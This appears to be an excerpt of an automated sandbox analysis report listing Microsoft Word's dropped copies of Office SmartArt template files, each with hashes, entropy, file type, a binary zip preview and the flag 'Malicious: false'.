File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	16806
Entropy (8bit):	7.9519793977093505
Encrypted:	false
SSDEEP:	384:eSMjhqgJDGwOzHR3iCpK+QdLdfufFJ9aDn9LjDMVAwHknbz7OW:eSkhqglGwERSAHQdLhDn9AKokv7H
MD5:	950F3AB11CB67CC651082FEBE523AF63
SHA1:	418DE03AD2EF93D0BD29C3D7045E94D3771DACB4
SHA-256:	9C5E4D8966A0B30A22D92DB1DA2F0DBF06AC2EA75E7BB8501777095EA0196974
SHA-512:	D74BF52A58B0C0327DB9DDCAD739794020F00B3FA2DE2B44DAAEC9C1459ECAF3639A5D761BBBC6BDF735848C4FD7E124D13B23964B0055BB5AA4F6AFE76DFE00
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........Ul.<..<"I5...&......diagrams/layout1.xml.}.r.I..s........~Y.f.gzfv......E."w.K..J5m.e...4.0..Q... A.!...%...<...3.......O.......t~.u{...5.G......?,.........N......L......~.:....^,..r=./~7_..8............o.y......oo.3.f........f.......r.7../....qrr.v9.......,?..._O.....?9.O~]..zv.I'.W..........;..\..~....../........?~..n.....\}pt.........b,~...;>.=;>:..u.....?.......2]..]....i......9..<.p..4D..

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328916[[fn=Converging Text]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	11380
Entropy (8bit):	7.891971054886943
Encrypted:	false
SSDEEP:	192:VJcnLYnAVbOFLaCPLrGGbhaWEu6d3RmryqLkeAShObPb1AYcRMMXjkfa0nYBwggD:VcMC8lLrRbhy1ZqLyShYb1FHQ4C0nYQJ
MD5:	C9F9364C659E2F0C626AC0D0BB519062
SHA1:	C4036C576074819309D03BB74C188BF902D1AE00
SHA-256:	6FC428CA0DCFC27D351736EF16C94D1AB08DDA50CB047A054F37EC028DD08AA2
SHA-512:	173A5E68E55163B081C5A8DA24AE46428E3FB326EBE17AE9588C7F7D7E5E5810BFCF08C23C3913D6BEC7369E06725F50387612F697AC6A444875C01A2C94D0FF
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........q.~<.6..9 ...e......diagrams/layout1.xml..r.........{.]..u...xv7b.....HPd....t.q...b.i_a.'..P.f.3..F..1...U.u.*.2......?}..O..V.....yQ.Mf........w.....O....N.........t3;...e....j.^.o&.....w...../.w................e.................O..,./..6...8>^.^..........ru5...\.=>[M?......g..........w.N....i.........iy6.?........>.......>{yT...........x.........-...z5.L./.g......_.l.1.....#...\|...pr.q

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328919[[fn=Hexagon Radial]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	6024
Entropy (8bit):	7.886254023824049
Encrypted:	false
SSDEEP:	96:bGa2onnLYHTSSxpHVTSH1bywZKmpRqiUtFvS9xrPooBpni6eDa16MUELHsrKjRBA:SJonLYzSSr1TuZNwtFZKpiiyrKXuCUd
MD5:	20621E61A4C5B0FFEEC98FFB2B3BCD31
SHA1:	4970C22A410DCB26D1BD83B60846EF6BEE1EF7C4
SHA-256:	223EA2602C3E95840232CACC30F63AA5B050FA360543C904F04575253034E6D7
SHA-512:	BDF3A8E3D6EE87D8ADE0767918603B8D238CAE8A2DD0C0F0BF007E89E057C7D1604EB3CCAF0E1BA54419C045FC6380ECBDD070F1BB235C44865F1863A8FA7EEA
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........2..<..]#.....'......diagrams/layout1.xml.].r.8...V.;0.;..aO........{.....V..3].d{..............\. .#.t... ........x<...@7o.]..7.N..@.NF..../....S.../.xC..U...<..Q.=...\|..v.....cQ..Y=.....i`.. ..?.;...Go....x.O.$....7s..0..qg....\|..r..l.w.a..p.3.Em7v...N............3..7...N.\\..f...9...U$..7...k.C..M.@\.s....G/..?...I...t.Yos...p..z...6.lnqi.6..<..1qg+......#]....\|C/N..K\}.....#..".

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328925[[fn=Interconnected Block Process]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	9191
Entropy (8bit):	7.93263830735235
Encrypted:	false
SSDEEP:	192:oeAMExvPJMg+yE+AfJLi3+Xoj7F3sPgMG61J88eDhFWT7hFNsdJtnLYJ7tSh:v2d+hnfJLi3+4ja4WqhFWT7FsdHMA
MD5:	08D3A25DD65E5E0D36ADC602AE68C77D
SHA1:	F23B6DDB3DA0015B1D8877796F7001CABA25EA64
SHA-256:	58B45B9DBA959F40294DA2A54270F145644E810290F71260B90F0A3A9FCDEBC1
SHA-512:	77D24C272D67946A3413D0BEA700A7519B4981D3B4D8486A655305546CE6133456321EE94FD71008CBFD678433EA1C834CFC147179B31899A77D755008FCE489
Malicious:	false
Preview:	PK.........]w>....<...5.......diagrams/layout1.xmlz........].r.F.}......1w`.J..'.......w..Dn. d....~........pw...O.......s...?...p7.t>e.r<.]u.e..d..\|8..\uo.......K...._.Y..E6.\|..y;........y.*/:o./...:[.o.+/.....?.....Z.?..s..d}...S.`...b.^o9.e.ty9_d...y>M.....7...e....."....<.v.u...e:].N.t....a....0..}..bQ.Y..>.~..~...U.\|..Ev.....N...bw....{...O..Y.Y.&........A.8Ik...N.Z.P.[}t........\|m...E..v..,..6........_?..."..K<.=x....$..%@.e..%....$=F..G..e........<F..G51..;......=...e.e.q..d......A...&9'.N.\%.=N.Z.9.s......y.4.Q.c......\|8.......Eg.:.ky.z.h.......).O...mz...N.wy.m...yv....~8.?Lg..o.l.y:.....z.i..j.irxI.w...r.......\|.=....s};.\u.{t;i~S.......U7..mw...<.vO...M.o...W.U.....}.`V<\|..%....l..`>]..".].I.i.N..Z..~Lt.........}?..E~:..>$......x...%.........N....'C.m.=...w.=.Y...+'M.].2 >.]_~...'.?...:....z.O..Y......6..5...sj?.....).B..>.3...G...p.9.K!..[H..1$v../...E V..?`....+[...C......h..!.QI5....<.>...A.d.......

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328932[[fn=Picture Frame]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4326
Entropy (8bit):	7.821066198539098
Encrypted:	false
SSDEEP:	96:+fF+Jrp7Yo5hnJiGa24TxEcpUeONo1w2NFocy2LQi33Z:2+f7YuhJdJ4TxEcmKwGkk3Z
MD5:	D32E93F7782B21785424AE2BEA62B387
SHA1:	1D5589155C319E28383BC01ED722D4C2A05EF593
SHA-256:	2DC7E71759D84EF8BB23F11981E2C2044626FEA659383E4B9922FE5891F5F478
SHA-512:	5B07D6764A6616A7EF25B81AB4BD4601ECEC1078727BFEAB4A780032AD31B1B26C7A2306E0DBB5B39FC6E03A3FC18AD67C170EA9790E82D8A6CEAB8E7F564447
Malicious:	false
Preview:	PK.........n.A...#............docProps/thumbnail.jpgz.........{4.i....1.n.v)..#.\....A+..Q(."..D.......#Q)...SQ....2c.ei.JC...N.{......}.s.s..y>....d.(:.;.....q........$.OBaPbI..(.V...o.....'..b..edE.J.+.....".tq..dqX.......8...CA.@..........0.G.O.$Ph...%i.Q.CQ.>.%!j..F..."?@.1J.Lm$..`..oO...}..6......(%....^CO..p......-,.....w8..t.k.#....d..'...O...8....s1....z.r...rr...,(.)....]Q]S.{X.SC{GgWw..O....X./FF9._&..L.....[z..^......C...qI.f... .Hq....d*.d..9.N{{.N.6..6)..n<...iU]3.._.....%./.?......(H4<.....}..%..Z..s...C@.d>.v...e.'WGW.....J..:....`....n..6.....]W~/.JX.Qf..^...}...._Sg.-.p..a..C_:..F..E.....k.H..........-Bl$._5...B.w2e...2...c2/y3.U...7.8[.S}H..r/..^...g...\|...l..\M..8p$]..poX-/.2}..}z\.\|.d<T.....1....2...{P...+Y...T...!............p..c.....D..o..%.d.f.~.;.;=4.J..]1"("`......d.0.....L.f0.l..r8..M....m,.p..Y.f....\2.q. ...d9q....P...K..o!..#o...=.........{.p..l.n...........&..o...!J..\|)..q4.Z.b..PP....U.K..\|.i.$v

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328935[[fn=Picture Organization Chart]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	7370
Entropy (8bit):	7.9204386289679745
Encrypted:	false
SSDEEP:	192:fYa+ngK2xG6HvLvoUnXxO+blKO1lt2Zg0AV:fYVn8Y6Hv3XxO+8uQZCV
MD5:	586CEBC1FAC6962F9E36388E5549FFE9
SHA1:	D1EF3BF2443AE75A78E9FDE8DD02C5B3E46F5F2E
SHA-256:	1595C0C027B12FE4C2B506B907C795D14813BBF64A2F3F6F5D71912D7E57BC40
SHA-512:	68DEAE9C59EA98BD597AE67A17F3029BC7EA2F801AC775CF7DECA292069061EA49C9DF5776CB5160B2C24576249DAF817FA463196A04189873CF16EFC4BEDC62
Malicious:	false
Preview:	PK........;nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........HnB;..I)....j......._rels/.rels...J.@.._e..&6E.i/.,x..Lw'.j........G..\...................)...Y.3)..`...9r{v!......z...#>5.g.WJ%..T..>'m ..K.T.....j6[(:f.)S....C.mk5^.=:...X......C.... I......&5..e..H.1...).P.cw.kjT......C.......=.....}G!7E.y$.(...}b.........b=.<..^.....U..Y..PK.........^5a.2u............diagrams/layout1.xml..ko.8..+x.t.l..J.n.t.Mnw.x. ....B.t$.,.(&i.....(..d.mY......g.../[.<!.{ap>...L...p....G.9z?...._...e..`..%......8....G!..B8.....o...b.......Q.>\|.......g..O\B...i.h...0B.}.....z...k...H..t~r.v........7o.E....$....Z.........ZDd..~......>......O.3.SI.Y.".O&I....#."._c.$.r..z.g0`...0...q:...^0.EF...%(.Ao$.#.o6..c'....$%.}

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328940[[fn=Radial Picture List]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5596
Entropy (8bit):	7.875182123405584
Encrypted:	false
SSDEEP:	96:dGa2unnLYEB2EUAPOak380NQjqbHaPKJebgrEVws8Vw+BMa0EbdLVQaZJgDZh0pJ:UJunLYEB2EUAxk3pIYaScgYwsV4bdS0X
MD5:	CDC1493350011DB9892100E94D5592FE
SHA1:	684B444ADE2A8DBE760B54C08F2D28F2D71AD0FA
SHA-256:	F637A67799B492FEFFB65632FED7815226396B4102A7ED790E0D9BB4936E1548
SHA-512:	3699066A4E8A041079F12E88AB2E7F485E968619CB79175267842846A3AD64AA8E7778CBACDF1117854A7FDCFB46C8025A62F147C81074823778C6B4DC930F12
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK.........V.<.S.....Y.......diagrams/layout1.xml.\.r.8...U....m.$.."3.....;...../3.XAn..O.?....V.;...")Nr.O.H....O......_..E..S...L7....8H.y<=............~...Ic......v9.X.%.\.^.,?g.v.?%w...f.).9.........Ld;.1..?~.%QQ...h.8;.gy..c4..]..0Ii.K&.[.9.......E4B.a..?e.B..4....E.......Y.?_&!.....i~..{.W..b....L.?..L..@.F....c.H..^..i...(d.......w...9..9,........q..%[..]K}.u.k..V.%.Y.....W.y..;e4[V..u.!T...).%.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328951[[fn=Tabbed Arc]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	3683
Entropy (8bit):	7.772039166640107
Encrypted:	false
SSDEEP:	96:GyfQZd6ZHNCWl9aXFkZwIq/QDsRYPf8P9QtDIs5r:G6wYtNZS1k99AmPfSOtD5r
MD5:	E8308DA3D46D0BC30857243E1B7D330D
SHA1:	C7F8E54A63EB254C194A23137F269185E07F9D10
SHA-256:	6534D4D7EF31B967DD0A20AFFF092F8B93D3C0EFCBF19D06833F223A65C6E7C4
SHA-512:	88AB7263B7A8D7DDE1225AE588842E07DF3CE7A07CBD937B7E26DA7DA7CFED23F9C12730D9EF4BC1ACF26506A2A96E07875A1A40C2AD55AD1791371EE674A09B
Malicious:	false
Preview:	PK.........a9;lq.ri...#.......diagrams/layout1.xmlz........WKn.0.];.`..J..AP...4E..!..hi$..I......z..D.d;...m.d...f.3o.._....9'.P.I1.F.C...d.D:.........Q..Z..5$..BO...e..(.9..2..+.Tsjp.. Vt.f.<...gA.h...8...>..p4..T...9.c...'.G.;.@.;xKE.A.uX.....1Q...>...B...!T.%.* ...0.....&......(.R.u..BW.yF.Grs...)..$..p^.s.c._..F4.. .<%.BD..E....x... ..@...v.7f.Y......N.\|.qW'..m..........im.?.64w..h...UI...J....;.0..[....G..\...?:.7.0.fGK.C.o^....j4............p...w:...V....cR..i...I...J=...%. &..#..[M....YG...u...I)F.l>.j.....f..6.....2.]..$7.....Fr..o.0...l&..6U...M..........%..47.a.[..s........[..r....Q./}.-.(.\..#. ..y`...a2......UA.$K.nQ:e!bB.H.-Q-a.$La.%.Z!...6L...@...j.5.....b..S.\c..u...R..dXWS.R.8"....o[..V...s0W..8:...U.#5..hK....ge.Q0$>...k.<...YA.g..o5...3.....~re.....>....:..$.~........pu ._Q..\|Z...r...E.X......U....f)s^.?...%......459..XtL:M.).....x..n9..h...c...PK........Ho9<"..%...........diagrams/layoutHeader1.xmlMP.N.0.>oOa.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328972[[fn=Tab List]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	4888
Entropy (8bit):	7.8636569313247335
Encrypted:	false
SSDEEP:	96:StrFZ23/juILHPzms5UTuK9CuZGEoEuZ28H1HiGa2RnnLY+tUb:SPZQ7uCHPzms5UTlqauZVHdJRnLY+tUb
MD5:	0A4CA91036DC4F3CD8B6DBF18094CF25
SHA1:	6C7EED2530CD0032E9EEAB589AFBC296D106FBB9
SHA-256:	E5A56CCB3B3898F76ABF909209BFAB401B5DDCD88289AD43CE96B02989747E50
SHA-512:	7C69426F2250E8C84368E8056613C22977630A4B3F5B817FB5EA69081CE2A3CA6E5F93DF769264253D5411419AF73467A27F0BB61291CCDE67D931BD0689CB66
Malicious:	false
Preview:	PK.........e.>.......]>......diagrams/layout1.xmlz........Z..6....;..{......lw.E.o....i..T....&...G.+...$..(.6..>Y.pf8C.\|3.?..m....xA8v.`.hW..@..Zn..(kb..(.......`.+....Y`...\..qh.0.!&w..)\|...<..]Q.. _....m..Z.{3..~..5..R..d..A.O....gU.M..0..#...;.>$...T......T..z.Z.\a.+...?#.~.....1.>?.....DD.1...'..,..(...5B...M..]..>.C..<[....,L.p..Q.v.v^q.Y...5.~^c..5........3.j.......BgJ.nv.. ............tt......Q..p..K....(M.(]@..E..~z.~...8...49.t.Q..Q.n..+.....J.#J.... .P...P.1...!.#&...?A..&.."..\|..D.I...:.....~/.....b..].........nI7.IC.a..%...9.....4...r....b..q....@o........O...y...d@+~.<.\....f.a`:...Qy/^..P....[....@i.I.._.?.X.x.8....)..s....I.0...\|.....t...;...q=k.=..N.%!.(.1....B.Ps/."...#.%..&...j<..2x.=<.......s.....h..?..]?Y?...C.}E.O........{..6.d....I...A.....JN..w+....2..m>9.T7...t.6.}.i..f.Ga..t.].->...8U......G.D`......p..f.. ...qT.YX.t.F..X.u=.3r...4....4Q.D..l.6.+PR...+..T..h: H.&.1~....n.....)........2J.. O.W+vd..f....0.....6..9QhV..

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328975[[fn=Theme Picture Accent]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	6448
Entropy (8bit):	7.897260397307811
Encrypted:	false
SSDEEP:	192:tgaoRbo1sMjb0NiJ85oPtqcS+yaXWoa8XBzdJYnLYFtWT7:LR1sk+i4o1qc1yaukzd8MK
MD5:	42A840DC06727E42D42C352703EC72AA
SHA1:	21AAAF517AFB76BF1AF4E06134786B1716241D29
SHA-256:	02CCE7D526F844F70093AC41731D1A1E9B040905DCBA63BA8BFFC0DBD4D3A7A7
SHA-512:	8886BFD240D070237317352DEB3D46C6B07E392EBD57730B1DED016BD8740E75B9965F7A3FCD43796864F32AAE0BE911AB1A670E9CCC70E0774F64B1BDA93488
Malicious:	false
Preview:	PK.........k.>........'......diagrams/layout1.xmlz........].r.8.}.V.?p.n....g5..JUn.....(SU......T.l.......X.d."m."..S....F..P.........-..<Y^..=..e.L....m>.pG.....M~...+\....u}o...".Yn}Y.".-r......0...'/........{........F.~.M8.d....(.....q.D.....4\.;.D,.\.)n.S....Z.cl.\|<..7._.dk..7..E.......kS...d.....i.....noX...o.W#9..}.^..I0....G.......+.K.[i.O.\|G..8=.;.8.8.8.8.....{..-..^.y..[.....`...0..f...Q<^~...l....{...pA.z.$.$R.../...E.(..Q.(V.E_ ......X]Q..Y9.......>...8......l..--.ug.......I.;..].u.b.3Lv:.d.%H..l<...V...$.M..A>...^M./.[..I....o~,.U. .$d\..?........O.;..^M..O...A.$Yx..\|f.n...H.=.\|!cG)dd%..(... ..Xe......2B."i...n....P.R..E?... Y.I6...7n..Xs..J..K..'..JaU..d..\|.(y.a.....d......D.Dr...._.._..m..Yu..6.o.\......&.m....wy...4k?..~........f....0.. \...}iS.i..R....q-#_..g........{Z.u.V.r(....j.I...,R..f.=.n.[.'..L'd.n C.0.I.....RpaV........c.k..NR....)B^k...d.i...d0.E. ^..G.']....x.c.>'..p...y.ny.P.x6..%.J\.....De.B\.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328983[[fn=Theme Picture Alternating Accent]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	5630
Entropy (8bit):	7.87271654296772
Encrypted:	false
SSDEEP:	96:n5ni6jKZWsD+QJaUQ7R6qYFF5QS+BEgeJam6S7ZCHuKViGa2CnnLYLt/ht:nccqxIBdQ1QS+uDJanS7ZCHHVdJCnLY5
MD5:	2F8998AA9CF348F1D6DE16EAB2D92070
SHA1:	85B13499937B4A584BEA0BFE60475FD4C73391B6
SHA-256:	8A216D16DEC44E02B9AB9BBADF8A11F97210D8B73277B22562A502550658E580
SHA-512:	F10F7772985EDDA442B9558127F1959FF0A9909C7B7470E62D74948428BFFF7E278739209E8626AE5917FF728AFB8619AE137BEE2A6A4F40662122208A41ABB2
Malicious:	false
Preview:	PK...........<..W8...j.......diagrams/layout1.xmlz........]......Hy..{...n .l.:.D.vvW..s....-a..fg&.}.\..+......4M..'=...(._.U]U......_.....U...k}.y.,......C..._^.......w/."7....v..Ea........Q..u..D{..{v.x.]....AtB15u..o...w..o.1...f.L...I<[zk7..7^..,.h.&l3...#..)..'H..d.r.#w=b...Ocw.y.&.v..t.>.s..m^M7..8I?o7................H...b....Qv.;'..%.f..#vR....V.H.),g..`...)(..m...[l...b...,.....U...Q.{.y.y.....G.I.tT.n..N.....A.tR..tr....i.<.......,.n:.#.A..a!X.......DK..;v..._M..lSc../n...v.....}.....I.\|8.!b.C..v..\|.....4l..n.;<9.i./..}!&2.c/.r...>.X02[..\|.a.-.....$#-....>...{.M].>3.,\o.x....X%;.F.k.)*".I8<.0..#......?.h..-..O.2.B.s..v....{Abd...h0....H..I.. ...%...$1.Fyd..Y....U...S.Y.#.V.....TH(....%..nk.3Y.e.m.-.S..Q...j.Ai..E..v......4.t.\|..&"...{..4.!.h.....C.P.....W...d[.....U<Yb;B.+W.!.@B....!.=......b"...Y.N;.#..Q...0G.lW...]7:...#9!z......\|f..r..x.....t........`.uL1u.:.....U.D.n.<Q.[%...ngC./..\|...!..q;;.w.".D..lt.".l.4".mt...E..mt

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328986[[fn=Theme Picture Grid]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	6193
Entropy (8bit):	7.855499268199703
Encrypted:	false
SSDEEP:	192:WavHMKgnU2HUGFhUnkbOKoztj1QfcnLYut3d8:YKeUlGXUnC+HQSMp
MD5:	031C246FFE0E2B623BBBD231E414E0D2
SHA1:	A57CA6134779D54691A4EFD344BC6948E253E0BA
SHA-256:	2D76C8D1D59EDB40D1FBBC6406A06577400582D1659A544269500479B6753CF7
SHA-512:	6A784C28E12C3740300883A0E690F560072A3EA8199977CBD7F260A21E8346B82BA8A4F78394D3BB53FA2E98564B764C2D0232C40B25FB6085C36D20D70A39D1
Malicious:	false
Preview:	PK........X..<..Zn\|...........diagrams/layout1.xmlz........]..H.}......M,l#g.j:.G-eu.S=.$......T_6..I...6...d.NJ....r.p.p.........\|.z.K.M..L.T.(........<..ks.......o...t}...P...7...`.+.[...H..._..X.u.....N....n....n\|..=.....K.:.G7.u....."g.n.h...O.,...c...f.b.P......>[l.....j..?..mxk..n..\|A...,\o..j..wQ.....lw.~].Lh..{3Y..D..5.Y..n..Mh.r..J....6.<.kO...Alv.._.qdKQ.5...-FMN......;.~..._..pv..&...%"Nz].n............vM.`..k..a.:.f]...a........y.....g0..`........\|V...Yq.....#...8....n..i7w<2Rp...R.@.]..%.b%..~...a..<.j...&....?...Qp..Ow\|&4>...d.O.\|.\|...Fk;t.P[A..i.6K.~...Y.N..9......~<Q..f...i.....6..U...l. ..E..4$Lw..p..Y%NR..;...B\|B.U...\e......S...=...B{A.]..*....5Q.....FI..w....q.s{.K....(.]...HJ9........(.....[U\|.....d71.Vv.....a.8...L.....k;1%.T.@+..uv.~v.]`.V....Z.....`.M.@..Z\|.r........./C..Z.n0.....@.YQ.8..q.h.....c.%...p..<..zl.c..FS.D..fY..z..=O..%L..MU..c.:.~.....F]c......5.=.8.r...0....Y.\o.o....U.~n...`...Wk..2b......I~

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328990[[fn=Varying Width List]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3075
Entropy (8bit):	7.716021191059687
Encrypted:	false
SSDEEP:	48:96yn4sOBoygpySCCxwKsZCB2oLEIK+aQpUNLRQWtmMamIZxAwCC2QnyODhVOzP4:l0vCxJsZQ2ofpKvtmMdIZxAwJyODhVOE
MD5:	67766FF48AF205B771B53AA2FA82B4F4
SHA1:	0964F8B9DC737E954E16984A585BDC37CE143D84
SHA-256:	160D05B4CB42E1200B859A2DE00770A5C9EBC736B70034AFC832A475372A1667
SHA-512:	AC28B0B4A9178E9B424E5893870913D80F4EE03D595F587AA1D3ACC68194153BAFC29436ADFD6EA8992F0B00D17A43CFB42C529829090AF32C3BE591BD41776D
Malicious:	false
Preview:	PK.........nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK.........nB;O.......k......._rels/.rels...J.@.._e..4...i/.,x..Lw'....v'.<....WpQ..,......7?....u.y..;bL../..3t.+.t.G....Y.v8.eG.MH,....(\..d..R....t>Z.<F-..G.(..\.x...l?..M..:#........2.#.[..H7..#g{...._j...(.....q......;.5'..Nt..."...A.h........>....\.'...L..D..DU<.....C.TKu.5Tu....bV..;PK.........C26.b..............diagrams/layout1.xml.T.n. .}N....).je./m.+u....`{..0P......p..U}c.9g..3....=h.(.."..D-.&....~.....y..I...(r.aJ.Y..e..;.YH...P.{b......hz.-..>k.i5..z>.l...f...c..Y...7.ND...=.%..1...Y.-.o.=)(1g.{.".E.>2.=...]Y..r0.Q...e.E.QKal,.....{f...r..9-.mH..C..\.w....c.4.JUbx.p Q...R......_...G.F...uPR...\|um.+g..?..C..gT...7.0.8l$.*.=qx.......-8..8.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328998[[fn=Rings]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5151
Entropy (8bit):	7.859615916913808
Encrypted:	false
SSDEEP:	96:WkV3UHhcZDEteEJqeSGzpG43GUR8m8b6dDLiCTfjKPnD6H5RhfuDKNtxx3+7tDLp:Wq3UBc9EJqIpGgD5dDL1DjKvDKhfnNti
MD5:	6C24ED9C7C868DB0D55492BB126EAFF8
SHA1:	C6D96D4D298573B70CF5C714151CF87532535888
SHA-256:	48AF17267AD75C142EFA7AB7525CA48FAB579592339FB93E92C4C4DA577D4C9F
SHA-512:	A3E9DC48C04DC8571289F57AE790CA4E6934FBEA4FDDC20CB780F7EA469FE1FC1D480A1DBB04D15301EF061DA5700FF0A793EB67D2811C525FEF618B997BCABD
Malicious:	false
